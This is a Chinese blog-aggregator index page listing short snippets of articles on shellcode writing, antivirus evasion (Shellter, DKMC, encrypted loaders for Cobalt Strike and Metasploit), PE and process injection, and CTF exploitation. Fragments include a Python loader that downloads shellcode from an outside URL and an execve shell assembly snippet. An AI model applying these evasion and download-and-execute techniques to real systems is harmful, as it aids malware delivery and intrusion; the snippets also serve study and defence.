shellcode

shellcode中动态定位API

定位API的原理：所有的win_32程序都会加载ntdll.dll和kerner32.dll这两个最基础的动态链接库。如果想要在win_32平台下定位kernel32.dll中的API地址1，首先通过段选择字FS在内存中找到当前的线程环境快TEB。2，线程环境快偏移位置为0x30的地方存放着指向进程环境块PEB的指针。3，进程环境块中偏移位置为0x0C的地方存放着指向PEB_LDR_DATA结构体
whatday·2020-08-18 23:40

免杀工具汇总

DKMC项目地址：https://github.com/Mr-Un1k0d3r/DKMC可以创建一个outputs文件夹存放shellcode启动pythondkmc.py操作顺序：Sc：是将msf生成的
Micr067·2020-08-18 23:18

编写变形的shellcode[原理篇]

作为菜鸟，我也好事地下载了一份来看，首先看到的是Plan9大虾的《高级shellcode设计技巧》。
weixin_34327761·2020-08-18 23:39

教你如何使用分组密码对shellcode中的windows api字符串进行加密

本文讲的是教你如何使用分组密码对shellcode中的windowsapi字符串进行加密，介绍字符串/模式匹配算法是当前最流行和最简单的检测shellcode方法。
weixin_34054866·2020-08-18 22:37

shellter介绍

首先需要获取一个正常的Windowsexe可执行文件，然后它会将shellcode添加进去，这样就可以成功地修改这个文件并且使其绕过反病毒软件的监测了。
weixin_33941350·2020-08-18 22:57

Python编写shellcode注入程序

light·2014/12/2911:570x00背景本文为《小学生科普系列》的番外篇，本系列面向小学生，纯科普，大牛莫喷~教程中所有内容仅供学习研究，请勿用于非法用途，否则....我也帮不了你啊...说起注入，大家第一印象可能还习惯性的停留在sql注入，脚本注入（XSS）等。今天light同(jiao)学(shou)带大家从web端回到操作系统，一起探讨Windows下的经典注入——内存注入，使
weixin_33889245·2020-08-18 22:19

动态加载 ShellCode绕过杀软

如果是恶意文件本身包含恶意内容(ShellCode)，那么依靠静态分析技术会非常有效，但如果攻击者使用轻量级的stager来代替下载并将代码加载到内存中，会发生什么？
weixin_30790841·2020-08-18 22:46

Python exe2shellcode，shellcode2exe

exe2shellcode#!
weixin_30649859·2020-08-18 22:37

ShellCode异或加密去NULL小工具

通常为了简洁及防止NULL产生，ShellCode中会使用hash加密。而也有些时候，我们直接使用加密技术去除NULL：#!
weixin_30482181·2020-08-18 22:25

shellcode 进行加密原理

对shellcode进行加密：#include"stdio.h"charpopup_general[]="\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68
weixin_30457551·2020-08-18 22:53

[原创]Python免杀ShellCode加载器(Cobaltstrike/Metasploit)

0x001原理采用分离法，即将ShellCode和加载器分离。方法较LOW但免杀。本文主要将ShellCode转成HEX，再通过加载器执行ShellCode。
weixin_30432179·2020-08-18 22:21

Python 执行 shellcode

importurllib2importctypesimportbase64#从我们的web服务器上下载shellcodeurl="http://rinige.com/shellcode.bin"response
weixin_30298497·2020-08-18 22:12

基本shellcode提取方法

转载请注明出处：http://blog.csdn.net/wangxiaolong_china这里，我们将编写一个非常简单的shellcode，它的功能是得到一个命令行。
elite·2020-08-18 22:03

shellcode API的自动定位

1.背景知识补充在使用shellcode的时候有个很大的问题就是动态定位API，下面这段代码介绍的是利用PE结构来寻址API的方法。
u200915331·2020-08-18 22:43

红蓝对抗之如何利用Shellcode来躲避安全检测

Shellcode注入或Shellcode执行往往是我们在目标系统上实现Payload
墨痕诉清风·2020-08-18 22:08

C调用shellcode方法总结

1、shellcode定义：shellcode是一段用于利用软件漏洞而执行的代码，shellcode为16进制的机器码，因为经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。
司徒荆·2020-08-18 22:36

shellcode加密过杀软

前提准备环境准备：Windows732位系统Shellcode使用kalilinuxMetasploit生成shellcodeWindows7需要安装的软件：Python2.7pipinstallpyinstallerpipinstallpywin32VCForPython27
明月清水·2020-08-18 22:05

shellcode模板

shellcode一直都是漏洞利用关键的一环，关于shellcode怎么编写网上已经有很多优秀的文章，对于利用空间有限的漏洞，往往需要自己精心设计shellcode利用每一个字节的空间，而当漏洞有足够空间让我们发挥的时候再去一条条用汇编设计显然有点效率不足了
QQQqQqqqqrrrr·2020-08-18 21:39

Shellcode的生成和利用

构造shellcode是CTF-PWN和渗透当中经常需要进行的一项活动，有合适熟练的构造shellcode的方法途径，可以使得pwn的过程更加流畅和舒服。
Fasthand_·2020-08-18 21:50

执行shellcode的几种方式

首先写出汇编成功弹出计算器#pragmacomment(linker,"/section:.data,RWE")//data段可读写#pragmacomment(linker,"/subsystem:\"windows\"/entry:\"mainCRTStartup\"")//不显示窗口#pragmacomment(linker,"/INCREMENTAL:NO")//指定非增量编译#inclu
go0dStudy·2020-08-18 21:55

shellter免杀

Shellter简介Shellter是一个动态的shellcode注入工具，是第一个真正动态的PEinfector创建的。
a阿飞·2020-08-18 21:51

好好说话之ret2shellcode

本题为ret2shellcode-example题目路径/ctf-challenges/pwn/stackoverflow/ret2shellcode/ret2shellcode-example一、原理
hollk·2020-08-18 21:47

如何写一个shellcode

什么样的shellcode可以起到最大的破坏，那就是能够满足攻击者各种各样需要的shellcode，怎么才能满足各种各样的需要呢？调用shell。
hhhnoone·2020-08-18 21:10

shellcode编写

1.前言漏洞利用最重要的就是shellcode的编写，漏洞发现者在漏洞发现之初并不会给出完整的shellcode，所以我们要学会自己编写shellcode。
一梦不醒·2020-08-18 21:49

利用Shellcode注入PE文件加载计算器

文章目录简介C语言版shellcode汇编版shellcodeshellcode跳转到原入口地址代码编写思路进一步简介采用C语言查看和修改一些PE文件的关键结构，结合shellcode，完成功能：先用C
威化饼的一隅·2020-08-18 21:01

怎样编写shellcode以及验证其功能

前言言简意赅的记录一下。编写汇编global_startsection.text_start:push59popraxcdqpushrdxmovrbx,0x68732f6e69622f2fpushrbxpushrsppoprdipushrdxpushrdipushrsppoprsisyscall编译命令nasm-felf64shell.nasm-oshell.oldshell.o-oshell./
坚强的女程序员·2020-08-18 21:21

C/C++ 到 shellcode 过程

最简单的弹出cmd代码1#include2#include3voidmain()4{5system("startcmd");6}为了确保system函数存在，加入LoadLibrary("msvcrt.dll");1#include2#include34voidmain()5{6LoadLibrary("msvcrt.dll");//载入system所在的dll7system("startcmd"
明卿·2020-08-18 21:55

shellter免杀技术实战

Shellter是一个开源的免杀工具，利用动态Shellcode注入来实现免杀的效果，想了解更多可以参考shellter官网：https://www.shellterproject.com/文件下载地址
大方子·2020-08-18 21:03

Metasploit文件目录与入侵基本概念

Shellcode指令集一般作为pa
si1ence_whitehat·2020-08-18 21:48

黑客攻防入门（二）shellcode构造

狭义的shellcode就是一段可以运行shell的代码！构造一段shellcode的作用就是为了在缓冲区溢出时将shellcode的地址覆盖掉正常的返回地址。
不断攀登的梦想·2020-08-18 21:14

Heap Spray原理浅析

HeapSpray是在shellcode的前面加上大量的slidecod
magictong·2020-08-18 21:35

【0day shellcode编写艺术】—— jmp esp、动态获取api。后续：编码、压缩

此次主要徒手体会了一下编写shellcode的不容易。当真不容易，看着作者的代码，都感觉自己无处可以下手了。需要的底层原理知识也还挺多需要补充上去的。打算后期再逐渐补充。目前阶段将jmpesp弄懂了。
helloDesword·2020-08-18 21:48

Poison Ivy 2.3.0 免杀的几点思路

可是由于PI2.3新增的功能支持shellcode生成，那就好办多了啊！shellcode我懂啊，变形我也懂啊，那免杀还不容易了吗？PI2.3支持生成二进
lidatou·2020-08-18 20:15

Poison Ivy 2.3.0 Shellcode for c 利用代码

PoisonIvy2.3.0Shellcodeforc利用代码首先声明，没学过VC,也不会编程，都是今天在baidu上逛了1天的成果复制内容到剪贴板代码:#includeunsignedcharShellCode
lidatou·2020-08-18 20:15

shellcode例子

#include#include#include"windows.h"voidtest(){MessageBox(NULL,"test","ShellCode",MB_OK);}intmain(void
lidatou·2020-08-18 20:14

ShellCode的编写和利用

ShellCode的编写和利用原文链接：https://hvnt3r.top/2018/10/Shell-code的编写和利用/在渗透测试和漏洞利用中，Shellcode是一个十分重要的部分，在二进制的安全研究中
Hvnt3r·2020-08-18 20:36

编写shellcode的全过程

而我要实现的shellcode的功能就是这个。
leng_que·2020-08-18 20:04

编写"优美"的SHELLCODE

编写"优美"的SHELLCODE作者：watercloud主页：http://www.nsfocus.com日期：2002-1-4SHELLCODE的活力在于其功能,如果在能够完成功能的前提下又能比较"
丛林溪水鱼·2020-08-18 20:37

shellcode

这里，我们将编写一个非常简单的shellcode，它的功能是得到一个命令行。我们将从该shellcode的C程序源码开始，逐步构造并提取shellcode。
丛林溪水鱼·2020-08-18 20:06

应用shellcode的简单示例

原程序，调用windows计算器：#includeintmain(){WinExec("calc.exe",SW_SHOW);return0;}用内联汇编代码的方式实现WinExec("calc.exe",SW_SHOW)的功能：#includeintmain(){__asm{pushebpmovebp,espaddesp,-12movdwordptr[ebp-4],0movbyteptr[ebp
thugfs·2020-08-18 20:02

通过Hash值计算API的名字【转贴】

t=55187通过Hash值计算API的名字[email protected]在分析shellcode的过程中，我们经常会遇到被编码
hu0406·2020-08-18 20:48

vs2017下shellcode编写原则[记录笔记]

1.杜绝双引号字符串的直接使用关闭VS自动优化没有使用到的变量自定义函数入口#pragmacomment(linker,"/entry:EntryMain")1.动态获取函数的地址GetProAddress从dll中获取函数的地址参数1：调用dll的句柄，参数2：函数名Bug：errorC2760:语法错误:意外的令牌“标识符”，预期的令牌为“类型说明符”打开项目工程---->属性--->c/c+
r4bbit·2020-08-18 20:41

使用Shellter生成远控木马并进行持久化控制

介绍Shellter是一个开源的免杀工具，利用动态Shellcode注入来实现免杀的效果，想了解更多可以参考shellter官网：https://www.shellterproject.com/步骤Shellter
郑好_zh·2020-08-18 20:09

通用ShellCode深入剖析

创建时间：2004-01-08文章属性：转载文章提交：l0pht(vbs_at_21cn.com)[SafeChina推荐]通用ShellCode深入剖析通用ShellCode深入剖析作者:yellowEmail
binjuny·2020-08-18 20:06

Shellcode的编写

上次学习了下堆喷漏洞的原理，虽说之前有学习过缓冲区溢出的原理，但还没了解过堆喷这个概念，于是趁此机会学习了，顺便复习了缓冲区溢出这块知识，之前由于各种原因对Shellcode的编写只是了解个大概，并没有真正动手写过一个
whackw·2020-08-18 19:22

C++ 强制让目标进程执行自己的 ShellCode

函数介绍GetThreadContext//如果函数成功，则返回值不为零。BOOLWINAPIGetThreadContext(_In_HANDLEhThread,//要检索其上下文的线程的句柄。_Inout_LPCONTEXTlpContext//指向CONTEXT结构的指针。);SetThreadContext//如果设置了上下文，则返回值为非零。BOOLWINAPISetThreadCont
(-: LYSM :-)·2020-08-18 19:09

ShellCode —— 入门

原理简单来说，shellcode的核心就是把代码写成“与地址无关”的风格，让它不论是在什么环境下都可以被执行。
(-: LYSM :-)·2020-08-18 19:09

向PE文件中添加ShellCode

最烦打代码了，但是貌似代码是最高效的方式……之前手动往PE文件中注入代码添加ShellCode，最近手动往PE文件中注入代码，貌似就是捆绑吧………………1------------------------
LittleCracker·2020-08-18 19:36

Cobalt Strike - Beacon信标快速分析

流程本次分析的样本为：宏代码释放的dll（也可能被其他的方式代替，初始载荷有多种方式，如压缩包等）→exe加载的.dll（常见的白加黑方式，这个dll才是Beacon）→解密ShellCode2的ShellCode1
江不流·2020-08-18 19:57

(转载)Shellcode编写技术

Shellcode编写技术转自：http://www.xfocus.net创建时间：2003-08-31文章属性：原创文章提交：jeno(xxgchappy_at_vip.sina.com)作者：jenoEmail
Kendiv·2020-08-18 19:27
上一页 5 6 7 8 9 10 11 12 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他